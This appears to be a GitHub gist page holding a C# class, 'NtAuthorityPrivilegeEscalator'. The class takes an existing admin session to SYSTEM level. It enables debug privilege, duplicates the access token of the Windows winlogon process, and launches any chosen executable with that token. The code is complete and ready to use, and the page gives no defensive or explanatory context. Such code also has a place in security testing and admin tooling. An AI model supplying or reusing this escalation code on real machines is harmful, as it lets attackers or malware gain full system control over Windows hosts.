Skip to content

Instantly share code, notes, and snippets.

@Paskowsky
Created November 18, 2019 17:48
Show Gist options
  • Save Paskowsky/1e8f22043d2a4e18373a538776467eca to your computer and use it in GitHub Desktop.
Save Paskowsky/1e8f22043d2a4e18373a538776467eca to your computer and use it in GitHub Desktop.
class NtAuthorityPrivilegeEscalator {
public static bool IsAdmin() {
try {
Process.EnterDebugMode();
Process.LeaveDebugMode();
return true;
} catch {
return false;
}
}
public static bool IsNtAuthority() {
if (!IsAdmin())
return false;
try {
return WindowsIdentity.GetCurrent().IsSystem;
} catch {
return false;
}
}
public NtAuthorityPrivilegeEscalator() {
if (!IsAdmin()) {
throw new Exception("You must be admin to elevate to NT/Authority");
}
}
public void Escalate(string filePath) {
const int LogonFlagsWithProfile = 1;
Process[] winlogonProcesses = Process.GetProcessesByName("winlogon");
foreach(Process winlogon in winlogonProcesses) {
try {
using(winlogon) {
IntPtr dupToken = DuplicateTokenFromProcess(winlogon);
if (dupToken == IntPtr.Zero)
continue;
WindowsImpersonationContext ctx = WindowsIdentity.Impersonate(dupToken);
ctx.Undo();
NativeMethods.STARTUPINFO sinfo = new NativeMethods.STARTUPINFO();
sinfo.cb = Marshal.SizeOf(sinfo);
NativeMethods.PROCESS_INFORMATION pinfo;
// string path = @"C:\Windows\System32\cmd.exe";
string quotedPath = string.Format("\"{0}\"", filePath);
if (!NativeMethods.CreateProcessWithTokenW(dupToken, LogonFlagsWithProfile, null, quotedPath, 0, IntPtr.Zero, null, ref sinfo, out pinfo))
throw new Win32Exception();
return;
}
} catch {
}
}
throw new Exception("Failed to elevate");
}
private IntPtr DuplicateTokenFromProcess(Process process) {
const uint GENERIC_ALL = 0x10000000;
const int SecurityImpersonation = 2;
const int accessLevel = 1;
IntPtr capturedToken = IntPtr.Zero;
Process.EnterDebugMode();
if (!NativeMethods.OpenProcessToken(process.Handle, TokenAccessLevels.Duplicate, ref capturedToken))
throw new Win32Exception();
IntPtr cloneToken = new IntPtr(0);
if (!NativeMethods.DuplicateTokenEx(capturedToken, GENERIC_ALL, IntPtr.Zero, SecurityImpersonation, accessLevel, ref cloneToken))
throw new Win32Exception();
Process.LeaveDebugMode();
return cloneToken;
}
private class NativeMethods {
[DllImport("advapi32", SetLastError = true)]
public static extern bool OpenProcessToken(
IntPtr hProcess,
TokenAccessLevels dwDesiredAccess,
ref IntPtr hToken);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
int dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32")]
public static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
IntPtr lpThreadAttributes,
int TokenType,
int ImpersonationLevel,
ref IntPtr phNewToken);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO {
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION {
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment